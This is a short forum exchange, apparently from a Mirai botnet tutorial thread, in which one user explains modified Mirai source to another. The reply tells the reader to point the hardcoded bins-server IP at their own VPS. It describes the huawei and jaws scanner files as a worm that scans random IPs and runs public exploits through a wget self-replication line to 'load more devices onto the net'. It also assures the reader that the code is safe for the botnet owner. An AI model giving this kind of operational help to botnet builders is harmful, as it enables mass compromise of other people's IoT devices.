yeah that part where it's "HTTP_SERVER utils_inet_addr" and the original github page has it as a local host ip and in Prix's it's an actual ip is just their old bins server. that specific line of code is not a backdoor against people who use this code. you're basically just going to change that ip to whatever VPS ip you're using for hosting your bins for loading devices onto the net. Prix definitely forgot to change it before uploading it the code here for the tutorial. the huawei and jaws files are just selfrep scanners for the bot. when the bot is executed on an iot device (ie. dlink router for example) it'll connect to the cnc and then start to scan for random ips in the interwebs that may be huawei or jaws devices, try the exploits on those ips, and if successful load more devices onto the net. it's a worm function basically. but it's not harmful for the threat actors/botnet owners themselves-

again, can't say if other portions of the code is a backdoor but "HTTP_SERVER utils_inet_addr" and the huawei & jaws files with the wget line for selfrep are both usual mirai code (the original mirai on github had selfrep via telnet but that's ancient, this code Prix uploaded is using public exploits for huawei and jaws and these scanners are in multiple leaked mirai modifications).

cohensholom - May 24, 2025, 9:12 pm

Thank you brother. Very helpful